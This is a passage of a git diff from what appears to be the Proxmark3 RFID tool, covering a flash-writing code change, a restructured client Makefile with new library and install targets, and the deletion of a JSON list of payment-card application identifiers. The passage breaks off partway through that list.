AT91C_BASE_EFC0->EFC_FCR = MC_FLASH_COMMAND_KEY | - MC_FLASH_COMMAND_PAGEN(page_n) | - AT91C_MC_FCMD_START_PROG; + + efc_bank->EFC_FCR = MC_FLASH_COMMAND_KEY | + MC_FLASH_COMMAND_PAGEN(page_n) | + AT91C_MC_FCMD_START_PROG; } // Wait until flashing of page finishes uint32_t sr; - while (!((sr = AT91C_BASE_EFC0->EFC_FSR) & AT91C_MC_FRDY)); + while (!((sr = efc_bank->EFC_FSR) & AT91C_MC_FRDY)); if (sr & (AT91C_MC_LOCKE | AT91C_MC_PROGE)) { dont_ack = 1; reply_old(CMD_NACK, sr, 0, 0, 0, 0); diff --git a/bootrom/ldscript-flash b/bootrom/ldscript-flash index 26acf8242..c9174ffcd 100644 --- a/bootrom/ldscript-flash +++ b/bootrom/ldscript-flash @@ -8,7 +8,7 @@ ----------------------------------------------------------------------------- */ -INCLUDE ../common/ldscript.common +INCLUDE ../common_arm/ldscript.common PHDRS { diff --git a/client/Makefile b/client/Makefile index c3300b0cd..a09a033d9 100644 --- a/client/Makefile +++ b/client/Makefile @@ -9,45 +9,57 @@ # Add -DNOFORCE to disable the -F switch # Add -DPRESETS to compile with preset models (edit config.h) -# Hide full compilation line: -ifneq ($(V),1) - Q?=@ -endif -# To see full command lines, use make V=1 +# Must be called before any Makefile include +ROOT_DIR:=$(dir $(realpath $(lastword $(MAKEFILE_LIST)))) -CC = gcc -CXX = g++ -LD = g++ -TAR = tar -TARFLAGS = -C .. --ignore-failed-read -rvf -RM = rm -f -MV = mv +include ../Makefile.defs -ENV_LDFLAGS := $(LDFLAGS) -ENV_CFLAGS := $(CFLAGS) +INSTALLBIN = proxmark3 +INSTALLSHARE = cmdscripts lualibs luascripts resources dictionaries -platform = $(shell uname) - -VPATH = ../common ../zlib ../uart +VPATH = ../common uart +vpath %.dic dictionaries OBJDIR = obj -LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread -lm -LUALIB = ../liblua/liblua.a +LDLIBS ?= -L/usr/local/lib +LDLIBS += -lreadline -lpthread -lm + +# RPi Zero gcc requires -latomic +# but MacOSX /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld +# doesn't recognize option --as-needed +ifneq ($(platform),Darwin) + LDLIBS += -Wl,--as-needed -latomic -Wl,--no-as-needed +endif + +# local libraries +LUALIBPATH = ./liblua +LUALIB = $(LUALIBPATH)/liblua.a JANSSONLIBPATH = ./jansson JANSSONLIB = $(JANSSONLIBPATH)/libjansson.a -MBEDTLSLIBPATH = ../common/mbedtls -MBEDTLSLIB = $(MBEDTLSLIBPATH)/libmbedtls.a CBORLIBPATH = ./tinycbor CBORLIB = $(CBORLIBPATH)/tinycbor.a -LIBS = -I../zlib -I../uart -I../liblua -I$(MBEDTLSLIBPATH) -I$(JANSSONLIBPATH) -I$(CBORLIBPATH) -INCLUDES_CLIENT = -I. -I../include -I../common -I/opt/local/include $(LIBS) -LDFLAGS = $(ENV_LDFLAGS) +REVENGPATH = ./reveng +REVENGLIB = $(REVENGPATH)/libreveng.a +AMIIBOLIBPATH = ./amiitool +AMIIBOLIB = $(AMIIBOLIBPATH)/libamiibo.a -CFLAGS = $(ENV_CFLAGS) -std=c99 -D_ISOC99_SOURCE -DPRESETS $(INCLUDES_CLIENT) -Wall -g -O3 +# common libraries +MBEDTLSLIBPATH = ../common/mbedtls +MBEDTLSLIB = $(OBJDIR)/libmbedtls.a +ZLIBPATH = ../common/zlib +ZLIB = $(OBJDIR)/libz.a + +LIBS = -I$(LUALIBPATH) -I$(MBEDTLSLIBPATH) -I$(JANSSONLIBPATH) -I$(CBORLIBPATH) -I$(ZLIBPATH) -I$(REVENGPATH) -I$(AMIIBOLIBPATH) +INCLUDES_CLIENT = -I. -I../include -I../common -Iuart $(LIBS) +CFLAGS ?= -Wall -Werror -g -O3 +# We cannot just use CFLAGS+=... because it has impact on sub-makes if CFLAGS is defined in env: +PM3CFLAGS = $(CFLAGS) -std=c99 -D_ISOC99_SOURCE $(INCLUDES_CLIENT) +PREFIX ?= /usr/local ifneq (,$(findstring MINGW,$(platform))) - CFLAGS += -mno-ms-bitfields + PM3CFLAGS += -mno-ms-bitfields -fexec-charset=cp850 endif -CXXFLAGS = -I../include -Wall -O3 +CXXFLAGS ?= -Wall -Werror -O3 +PM3CXXFLAGS = $(CXXFLAGS) -I../include LUAPLATFORM = generic ifneq (,$(findstring MINGW,$(platform))) @@ -61,52 +73,54 @@ else LIBS := -I/usr/local/opt/readline/include $(LIBS) else LUALIB += -ldl - LDLIBS += -ltermcap -lncurses LUAPLATFORM = linux endif endif -# Check for correctly configured Qt5 -QTINCLUDES = $(shell pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) -QTLDLIBS = $(shell pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) -MOC = $(shell pkg-config --variable=host_bins Qt5Core)/moc -UIC = $(shell pkg-config --variable=host_bins Qt5Core)/uic -ifeq ($(QTINCLUDES), ) -# if Qt5 not found check for correctly configured Qt4 - QTINCLUDES = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) - QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) - MOC = $(shell pkg-config --variable=moc_location QtCore) - UIC = $(shell pkg-config --variable=uic_location QtCore) -else - CXXFLAGS += -std=c++11 -fPIC -endif -ifeq ($(QTINCLUDES), ) -# if both pkg-config commands failed, search in common places - ifneq ($(QTDIR), ) - QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui - QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4 - ifneq ($(wildcard $(QTDIR)/include/QtWidgets),) - QTINCLUDES += -I$(QTDIR)/include/QtWidgets - QTLDLIBS = -L$(QTDIR)/lib -lQt5Widgets -lQt5Gui -lQt5Core - CXXFLAGS += -std=c++11 -fPIC +ifneq ($(SKIPQT),1) + # Check for correctly configured Qt5 + QTINCLUDES = $(shell pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) + QTLDLIBS = $(shell pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) + MOC = $(shell pkg-config --variable=host_bins Qt5Core)/moc + UIC = $(shell pkg-config --variable=host_bins Qt5Core)/uic + ifeq ($(QTINCLUDES), ) + # if Qt5 not found check for correctly configured Qt4 + QTINCLUDES = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) + QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) + MOC = $(shell pkg-config --variable=moc_location QtCore) + UIC = $(shell pkg-config --variable=uic_location QtCore) + else + PM3CXXFLAGS += -std=c++11 -fPIC + endif + ifeq ($(QTINCLUDES), ) + # if both pkg-config commands failed, search in common places + ifneq ($(QTDIR), ) + QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui + QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4 + ifneq ($(wildcard $(QTDIR)/include/QtWidgets),) + QTINCLUDES += -I$(QTDIR)/include/QtWidgets + QTLDLIBS = -L$(QTDIR)/lib -lQt5Widgets -lQt5Gui -lQt5Core + PM3CXXFLAGS += -std=c++11 -fPIC + endif + MOC = $(QTDIR)/bin/moc + UIC = $(QTDIR)/bin/uic endif - MOC = $(QTDIR)/bin/moc - UIC = $(QTDIR)/bin/uic endif endif - ifneq ($(QTLDLIBS),) + QTGUISRCS = proxgui.cpp proxguiqt.cpp proxguiqt.moc.cpp QTGUIOBJS = $(OBJDIR)/proxgui.o $(OBJDIR)/proxguiqt.o $(OBJDIR)/proxguiqt.moc.o - CFLAGS += -DHAVE_GUI + PM3CFLAGS += -DHAVE_GUI else + QTGUISRCS = guidummy.cpp QTGUIOBJS = $(OBJDIR)/guidummy.o endif # Flags to generate temporary dependency files DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td -# make temporary to final dependeny files after successful compilation -POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d +# make temporary to final dependency files after successful compilation +POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@ CORESRCS = uart_posix.c \ uart_win32.c \ @@ -118,8 +132,9 @@ CORESRCS = uart_posix.c \ crc16.c \ comms.c -CMDSRCS = crapto1/crapto1.c \ +CMDSRCS = crapto1/crapto1.c \ crapto1/crypto1.c \ + mifare/mifaredefault.c \ mifare/mfkey.c \ tea.c \ fido/additional_ca.c \ @@ -135,7 +150,7 @@ CMDSRCS = crapto1/crapto1.c \ loclass/cipherutils.c \ loclass/ikeys.c \ loclass/elite_crack.c \ - loclass/fileutils.c \ + fileutils.c \ whereami.c \ mifare/mifarehost.c \ parity.c \ @@ -144,6 +159,7 @@ CMDSRCS = crapto1/crapto1.c \ legic_prng.c \ iso15693tools.c \ prng.c \ + generator.c \ graph.c \ cmddata.c \ lfdemod.c \ @@ -172,6 +188,7 @@ CMDSRCS = crapto1/crapto1.c \ cmdanalyse.c \ cmdhf.c \ cmdhflist.c \ + aidsearch.c \ cmdhf14a.c \ cmdhf14b.c \ cmdhf15.c \ @@ -187,6 +204,8 @@ CMDSRCS = crapto1/crapto1.c \ cmdhftopaz.c \ cmdhffido.c \ cmdhffelica.c \ + cmdhfthinfilm.c \ + cmdhflto.c \ cmdhw.c \ cmdlf.c \ cmdlfawid.c \ @@ -194,6 +213,7 @@ CMDSRCS = crapto1/crapto1.c \ cmdlfem4x.c \ cmdlffdx.c \ cmdlfguard.c \ + cmdlfgallagher.c \ cmdlfhid.c \ cmdlfhitag.c \ cmdlfio.c \ @@ -213,25 +233,25 @@ CMDSRCS = crapto1/crapto1.c \ cmdlfti.c \ cmdlfviking.c \ cmdlfvisa2000.c \ + cmdlfmotorola.c \ cmdtrace.c \ cmdflashmem.c \ + cmdflashmemspiffs.c \ cmdsmartcard.c \ cmdusart.c \ + cmdwiegand.c \ cmdparser.c \ cmdmain.c \ pm3_binlib.c \ scripting.c \ cmdscript.c \ pm3_bitlib.c \ - protocols.c \ cmdcrc.c \ - reveng/preset.c \ - reveng/reveng.c \ - reveng/cli.c \ - reveng/bmpbit.c \ - reveng/model.c \ - reveng/poly.c \ - bucketsort.c + bucketsort.c \ + flash.c \ + wiegand_formats.c \ + wiegand_formatutils.c \ + cardhelper.c cpu_arch = $(shell uname -m) ifneq ($(findstring 86, $(cpu_arch)), ) @@ -244,16 +264,10 @@ ifeq ($(MULTIARCHSRCS), ) CMDSRCS += hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c endif -ZLIBSRCS = deflate.c adler32.c trees.c zutil.c inflate.c inffast.c inftrees.c -ZLIBFLAGS = -DZ_SOLO -DZ_PREFIX -DNO_GZIP -DZLIB_PM3_TUNED -#-DDEBUG -Dverbose=1 - -QTGUISRCS = proxgui.cpp proxguiqt.cpp proxguiqt.moc.cpp guidummy.cpp COREOBJS = $(CORESRCS:%.c=$(OBJDIR)/%.o) CMDOBJS = $(CMDSRCS:%.c=$(OBJDIR)/%.o) OBJCOBJS = $(OBJCSRCS:%.m=$(OBJDIR)/%.o) -ZLIBOBJS = $(ZLIBSRCS:%.c=$(OBJDIR)/%.o) MULTIARCHOBJS = $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_NOSIMD.o) \ $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_MMX.o) \ $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_SSE2.o) \ @@ -277,27 +291,21 @@ ifeq "$(SUPPORTS_AVX512)" "True" MULTIARCHOBJS += $(MULTIARCHSRCS:%.c=$(OBJDIR)/%_AVX512.o) endif -BINS = proxmark3 flasher fpga_compress -CLEAN = $(BINS) $(COREOBJS) $(CMDOBJS) $(OBJCOBJS) $(ZLIBOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(OBJDIR)/*.o *.moc.cpp ui/ui_overlays.h lualibs/pm3_cmd.lua lualibs/mf_default_keys.lua +BINS = proxmark3 +CLEAN = $(BINS) *.moc.cpp ui/ui_overlays.h lualibs/pm3_cmd.lua lualibs/mfc_default_keys.lua +# transition: make sure old flasher is gone too +CLEAN += flasher # need to assign dependancies to build these first... -all: lua_build jansson_build mbedtls_build cbor_build $(BINS) +all: $(BINS) all-static: LDLIBS:=-static $(LDLIBS) -all-static: proxmark3 flasher fpga_compress +all-static: $(BINS) -proxmark3: LDLIBS+=$(LUALIB) $(JANSSONLIB) $(MBEDTLSLIB) $(CBORLIB) $(QTLDLIBS) -proxmark3: $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(OBJCOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(ZLIBOBJS) lualibs/pm3_cmd.lua lualibs/mf_default_keys.lua +proxmark3: LDLIBS+=$(LUALIB) $(JANSSONLIB) $(MBEDTLSLIB) $(CBORLIB) $(ZLIB) $(REVENGLIB) $(AMIIBOLIB) $(QTLDLIBS) +proxmark3: $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(OBJCOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(LUALIB) $(JANSSONLIB) $(CBORLIB) $(REVENGLIB) $(MBEDTLSLIB) $(ZLIB) $(AMIIBOLIB) lualibs/pm3_cmd.lua lualibs/mfc_default_keys.lua $(info [=] LD $@) - $(Q)$(LD) $(LDFLAGS) $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(OBJCOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(ZLIBOBJS) $(LDLIBS) -o $@ - -flasher: $(OBJDIR)/flash.o $(OBJDIR)/flasher.o $(COREOBJS) $(OBJCOBJS) - $(info [=] LD $@) - $(Q)$(LD) $(LDFLAGS) $^ $(LDLIBS) -o $@ - -fpga_compress: $(OBJDIR)/fpga_compress.o $(ZLIBOBJS) - $(info [=] LD $@) - $(Q)$(LD) $(LDFLAGS) $(ZLIBFLAGS) $^ $(LDLIBS) -o $@ + $(Q)$(LD) $(LDFLAGS) $(OBJDIR)/proxmark3.o $(COREOBJS) $(CMDOBJS) $(OBJCOBJS) $(QTGUIOBJS) $(MULTIARCHOBJS) $(LDLIBS) -o $@ proxgui.cpp: ui/ui_overlays.h @@ -313,110 +321,144 @@ lualibs/pm3_cmd.lua: ../include/pm3_cmd.h $(info [=] GEN $@) $(Q)awk -f pm3_cmd_h2lua.awk $^ > $@ -lualibs/mf_default_keys.lua : default_keys.dic +lualibs/mfc_default_keys.lua : mfc_default_keys.dic $(info [=] GEN $@) $(Q)awk -f default_keys_dic2lua.awk $^ > $@ clean: $(Q)$(RM) $(CLEAN) - $(Q)$(MAKE) --no-print-directory -C ../liblua clean + $(Q)$(RMDIR) $(OBJDIR) + $(Q)$(MAKE) --no-print-directory -C $(LUALIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(JANSSONLIBPATH) clean - $(Q)$(MAKE) --no-print-directory -C $(MBEDTLSLIBPATH) clean $(Q)$(MAKE) --no-print-directory -C $(CBORLIBPATH) clean + $(Q)$(MAKE) --no-print-directory -C $(REVENGPATH) clean + $(Q)$(MAKE) --no-print-directory -C $(AMIIBOLIBPATH) clean + +install: all + $(info [@] Installing client to $(DESTDIR)$(PREFIX)...) +ifneq (,$(INSTALLBIN)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH) + $(Q)$(CP) $(INSTALLBIN) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH) +endif +ifneq (,$(INSTALLSHARE)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) + $(Q)$(CP) $(INSTALLSHARE) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) +endif + @true + +uninstall: + $(info [@] Uninstalling client from $(DESTDIR)$(PREFIX)...) +ifneq (,$(INSTALLBIN)) + $(Q)$(RM) $(foreach tool,$(INSTALLBIN),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)$(PATHSEP)$(notdir $(tool))) +endif +ifneq (,$(INSTALLSHARE)) + $(Q)$(RMDIR) $(foreach tool,$(INSTALLSHARE),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)$(PATHSEP)$(notdir $(tool))) +endif + @true tarbin: $(BINS) $(info [=] TAR ../proxmark3-$(platform)-bin.tar) $(Q)$(TAR) $(TARFLAGS) ../proxmark3-$(platform)-bin.tar $(BINS:%=client/%) $(WINBINS:%=client/%) -lua_build: +# local libraries: +$(LUALIB): $(info [*] MAKE liblua for $(LUAPLATFORM)) - $(Q)$(MAKE) --no-print-directory -C ../liblua $(LUAPLATFORM) + $(Q)$(MAKE) --no-print-directory -C $(LUALIBPATH) $(LUAPLATFORM) -jansson_build: +$(JANSSONLIB): $(info [*] MAKE jansson) $(Q)$(MAKE) --no-print-directory -C $(JANSSONLIBPATH) all -mbedtls_build: - $(info [*] MAKE mbedtls) - $(Q)$(MAKE) --no-print-directory -C $(MBEDTLSLIBPATH) all - -cbor_build: +$(CBORLIB): $(info [*] MAKE tinycbor) $(Q)$(MAKE) --no-print-directory -C $(CBORLIBPATH) all -.PHONY: all clean +$(REVENGLIB): + $(info [*] MAKE reveng) + $(Q)$(MAKE) --no-print-directory -C $(REVENGPATH) all + +$(AMIIBOLIB): + $(info [*] MAKE amiibo) + $(Q)$(MAKE) --no-print-directory -C $(AMIIBOLIBPATH) all + +# common libraries: +$(MBEDTLSLIB): + $(info [*] MAKE mbedtls) + $(Q)$(MAKE) --no-print-directory -C $(MBEDTLSLIBPATH) OBJDIR=$(ROOT_DIR)$(OBJDIR) BINDIR=$(ROOT_DIR)$(OBJDIR) all + +$(ZLIB): + $(info [*] MAKE zlib) + $(Q)$(MAKE) --no-print-directory -C $(ZLIBPATH) OBJDIR=$(ROOT_DIR)$(OBJDIR) BINDIR=$(ROOT_DIR)$(OBJDIR) all + +.PHONY: all clean install uninstall # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) $(OBJDIR)/%_NOSIMD.o : %.c $(OBJDIR)/%_NOSIMD.d $(info [-] CC(NOSIMD) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_NOSIMD.Td) $(CFLAGS) $(HARD_SWITCH_NOSIMD) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_NOSIMD.Td $(OBJDIR)/$*_NOSIMD.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_NOSIMD.Td) $(PM3CFLAGS) $(HARD_SWITCH_NOSIMD) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_NOSIMD.Td $(OBJDIR)/$*_NOSIMD.d && $(TOUCH) $@ $(OBJDIR)/%_MMX.o : %.c $(OBJDIR)/%_MMX.d $(info [-] CC(MMX) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_MMX.Td) $(CFLAGS) $(HARD_SWITCH_MMX) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_MMX.Td $(OBJDIR)/$*_MMX.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_MMX.Td) $(PM3CFLAGS) $(HARD_SWITCH_MMX) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_MMX.Td $(OBJDIR)/$*_MMX.d && $(TOUCH) $@ $(OBJDIR)/%_SSE2.o : %.c $(OBJDIR)/%_SSE2.d $(info [-] CC(SSE2) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_SSE2.Td) $(CFLAGS) $(HARD_SWITCH_SSE2) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_SSE2.Td $(OBJDIR)/$*_SSE2.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_SSE2.Td) $(PM3CFLAGS) $(HARD_SWITCH_SSE2) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_SSE2.Td $(OBJDIR)/$*_SSE2.d && $(TOUCH) $@ $(OBJDIR)/%_AVX.o : %.c $(OBJDIR)/%_AVX.d $(info [-] CC(AVX) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX.Td) $(CFLAGS) $(HARD_SWITCH_AVX) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_AVX.Td $(OBJDIR)/$*_AVX.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX.Td) $(PM3CFLAGS) $(HARD_SWITCH_AVX) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_AVX.Td $(OBJDIR)/$*_AVX.d && $(TOUCH) $@ $(OBJDIR)/%_AVX2.o : %.c $(OBJDIR)/%_AVX2.d $(info [-] CC(AVX2) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX2.Td) $(CFLAGS) $(HARD_SWITCH_AVX2) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_AVX2.Td $(OBJDIR)/$*_AVX2.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX2.Td) $(PM3CFLAGS) $(HARD_SWITCH_AVX2) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_AVX2.Td $(OBJDIR)/$*_AVX2.d && $(TOUCH) $@ $(OBJDIR)/%_AVX512.o : %.c $(OBJDIR)/%_AVX512.d $(info [-] CC(AVX512) $<) - $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX512.Td) $(CFLAGS) $(HARD_SWITCH_AVX512) -c -o $@ $< - $(Q)$(MV) -f $(OBJDIR)/$*_AVX512.Td $(OBJDIR)/$*_AVX512.d + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS:%.Td=%_AVX512.Td) $(PM3CFLAGS) $(HARD_SWITCH_AVX512) -c -o $@ $< + $(Q)$(MV) -f $(OBJDIR)/$*_AVX512.Td $(OBJDIR)/$*_AVX512.d && $(TOUCH) $@ %.o: %.c $(OBJDIR)/%.o : %.c $(OBJDIR)/%.d $(info [-] CC $<) - $(Q)$(CC) $(DEPFLAGS) $(CFLAGS) $(ZLIBFLAGS) -c -o $@ $< + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS) $(PM3CFLAGS) -c -o $@ $< $(Q)$(POSTCOMPILE) %.o: %.cpp $(OBJDIR)/%.o : %.cpp $(OBJDIR)/%.d $(info [-] CXX $<) - $(Q)$(CXX) $(DEPFLAGS) $(CXXFLAGS) $(QTINCLUDES) -c -o $@ $< + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CXX) $(DEPFLAGS) $(PM3CXXFLAGS) $(QTINCLUDES) -c -o $@ $< $(Q)$(POSTCOMPILE) %.o: %.m $(OBJDIR)/%.o : %.m $(OBJDIR)/%.d $(info [-] CC $<) - $(Q)$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $< + $(Q)$(MKDIR) $(dir $@) + $(Q)$(CC) $(DEPFLAGS) $(PM3CFLAGS) -c -o $@ $< $(Q)$(POSTCOMPILE) -#$(CMDOBJS) $(COREOBJS): $(notdir $(%.c)) %.d -# $(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $< -# $(POSTCOMPILE) - -#$(ZLIBOBJS): $(notdir $(%.c)) %.d -# $(CC) $(DEPFLAGS) $(CFLAGS) $(ZLIBFLAGS) -c -o $@ $< -# $(POSTCOMPILE) - -#$(QTGUIOBJS): $(notdir $(%.cpp)) %.d -# $(CXX) $(DEPFLAGS) $(CXXFLAGS) -c -o $@ $< -# $(POSTCOMPILE) - -DEPENDENCY_FILES = $(patsubst %.c, $(OBJDIR)/%.d, $(CORESRCS) $(CMDSRCS) $(ZLIBSRCS)) \ +DEPENDENCY_FILES = $(patsubst %.c, $(OBJDIR)/%.d, $(CORESRCS) $(CMDSRCS) $(REVENGSRCS)) \ $(patsubst %.o, %.d, $(MULTIARCHOBJS)) \ $(patsubst %.cpp, $(OBJDIR)/%.d, $(QTGUISRCS)) \ $(patsubst %.m, $(OBJDIR)/%.d, $(OBJCSRCS)) \ - $(OBJDIR)/proxmark3.d $(OBJDIR)/flash.d $(OBJDIR)/flasher.d $(OBJDIR)/fpga_compress.d + $(OBJDIR)/proxmark3.d $(DEPENDENCY_FILES): ; .PRECIOUS: $(DEPENDENCY_FILES) -include $(DEPENDENCY_FILES) - diff --git a/client/aidlist.json b/client/aidlist.json deleted file mode 100644 index 7ec139d46..000000000 --- a/client/aidlist.json +++ /dev/null @@ -1 +0,0 @@ -[{"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "315041592E5359532E4444463031", "Type": "", "Name": "Visa Payment System Environment - PSE (1PAY.SYS.DDF01)"}, {"Vendor": "Visa International", "Description": "Visa payWave for Mobile", "Country": "United States", "AID": "325041592E5359532E4444463031", "Type": "", "Name": "Visa Proximity Payment System Environment - PPSE (2PAY.SYS.DDF01)"}, {"Vendor": "DeviceFidelity", "Description": "http://www.nfcworld.com/2010/11/24/35207/devicefidelity-adds-nfc-support-for-android-and-mifare/", "Country": "United States", "AID": "44464D46412E44466172653234313031", "Type": "", "Name": "DeviceFidelity In2Pay DFare applet"}, {"Vendor": "PBS Danmnt A/S", "Description": "(Unlicensed use of this RID. Proposal to use A000000323 instead)", "Country": "Denmark", "AID": "A00000000101", "Type": "", "Name": "MUSCLE Card Applet"}, {"Vendor": "Visa International", "Description": "Used by most GP2.1.1 cards / Oberthur OP201 cards. Visa Proprietary Card Manager AID for OpenPlatform cards (visa.openplatform).", "Country": "United States", "AID": "A000000003000000", "Type": "GP", "Name": "(VISA) Card Manager"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A00000000300037561", "Type": "", "Name": "Bonuscard"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A00000000305076010", "Type": "EMV", "Name": "VISA ELO Credit"}, {"Vendor": "Visa International", "Description": "Standard/Gold VISA credit card", "Country": "United States", "AID": "A0000000031010", "Type": "EMV", "Name": "VISA Debit/Credit (Classic)"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A000000003101001", "Type": "EMV", "Name": "VISA Credit"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A000000003101002", "Type": "EMV", "Name": "VISA Debit"}, {"Vendor": "Visa International", "Description": "VISA Electron (Debit)", "Country": "United States", "AID": "A0000000032010", "Type": "EMV", "Name": "VISA Electron"}, {"Vendor": "Visa International", "Description": "V PAY", "Country": "United States", "AID": "A0000000032020", "Type": "EMV", "Name": "VISA"}, {"Vendor": "Visa International", "Description": "VISA Interlink", "Country": "United States", "AID": "A0000000033010", "Type": "EMV", "Name": "VISA Interlink"}, {"Vendor": "Visa International", "Description": "Visa Specific", "Country": "United States", "AID": "A0000000034010", "Type": "EMV", "Name": "VISA Specific"}, {"Vendor": "Visa International", "Description": "Visa Specific", "Country": "United States", "AID": "A0000000035010", "Type": "EMV", "Name": "VISA Specific"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A000000003534441", "Type": "GP", "Name": "Schlumberger Security Domain"}, {"Vendor": "Visa International", "Description": "OCS Oberthur Card System Security Domain Package AID / VGP Card Manager (for ISD and ASD)", "Country": "United States", "AID": "A0000000035350", "Type": "GP", "Name": "Security Domain"}, {"Vendor": "Visa International", "Description": "OCS Oberthur Card System Security Domain Applet AID / VGP Card Manager (for ISD and ASD)", "Country": "United States", "AID": "A000000003535041", "Type": "GP", "Name": "Security Domain"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A0000000036010", "Type": "EMV", "Name": "Domestic Visa Cash Stored Value"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A0000000036020", "Type": "EMV", "Name": "International Visa Cash Stored Value"}, {"Vendor": "Visa International", "Description": "VISA Auth dynamic passcode authentication (DPA). Used by Barclays/HBOS", "Country": "United States", "AID": "A0000000038002", "Type": "EMV", "Name": "VISA Auth, VisaRemAuthen EMV-CAP (DPA)"}, {"Vendor": "Visa International", "Description": "VISA plus", "Country": "United States", "AID": "A0000000038010", "Type": "EMV", "Name": "VISA Plus"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A0000000039010", "Type": "EMV", "Name": "VISA Loyalty"}, {"Vendor": "Visa International", "Description": "", "Country": "United States", "AID": "A000000003999910", "Type": "EMV", "Name": "VISA Proprietary ATM"}, {"Vendor": "Mastercard International", "Description": "Security Domain", "Country": "United States", "AID": "A0000000040000", "Type": "GP", "Name": "MasterCard Card Manager"}, {"Vendor": "Mastercard International", "Description": "AEPM (Association Europenne Payez Mobile)", "Country": "United States", "AID": "A00000000401", "Type": "EMV", "Name": "MasterCard PayPass"}, {"Vendor": "Mastercard International", "Description": "Standard MasterCard", "Country": "United States", "AID": "A0000000041010", "Type": "EMV", "Name": "MasterCard Credit"}, {"Vendor": "Mastercard International", "Description": "Standard MasterCard", "Country": "United States", "AID": "A00000000410101213", "Type": "EMV", "Name": "MasterCard Credit"}, {"Vendor": "Mastercard International", "Description": "Standard MasterCard", "Country": "United States", "AID": "A00000000410101215", "Type": "EMV", "Name": "MasterCard Credit"}, {"Vendor": "Mastercard International", "Description": "Some co-branded card?", "Country": "United States", "AID": "A0000000041010BB5449435301", "Type": "", "Name": "[UNKNOWN]"}, {"Vendor": "Mastercard International", "Description": "MasterCard Specific", "Country": "United States", "AID": "A0000000042010", "Type": "EMV", "Name": "MasterCard Specific"}, {"Vendor": "Mastercard 